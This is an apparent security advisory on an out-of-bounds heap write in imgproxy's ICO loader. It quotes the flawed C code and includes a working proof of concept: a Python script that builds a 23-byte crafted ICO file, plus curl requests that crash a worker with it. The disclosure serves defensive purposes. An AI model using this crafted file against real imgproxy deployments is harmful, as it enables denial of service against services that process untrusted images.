imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash

### Summary Out-of-bounds heap write in imgproxy's ICO loader (`vips/icoload.c`): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` → SIGABRT → Go panic, exit code 2). ### Details In `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry's image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER: ``` uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated ``` ``` if ((num_colors == 0) && (bpp <= 8)) pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp); else pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors; ``` ``` int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8)); // readable past the buffer height = height / 2; ``` With a crafted entry declaring a tiny `data_size` (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit `height/2`-derived value at `alloc+22..+25`, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always `original_size >> 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc's `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2). ### PoC ```py # make_ico_oob.py — generates the exact 23-byte OOB-write trigger. # Byte-identical to the checksummed, production-verified file: # ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1 import struct, hashlib hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1 # 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16. # The tiny data_size (1) makes the loader's BMPINFOHEADER field reads # (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte # allocation. entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16) data = b'\xAA' # the single declared image byte blob = hdr + entry + data assert hashlib.sha256(blob).hexdigest() == \ '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1' open('ico-oob.ico', 'wb').write(blob) print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]") ``` ``` # imgproxy v4.0.15 with local file sources enabled: # IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png" # → request fails at transport level (connection reset / empty reply) or # HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT → # Go panic dump → exit code 2. One request, one dead worker. curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png" # → HTTP 200, valid thumbnail (control) ``` ### Impact Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.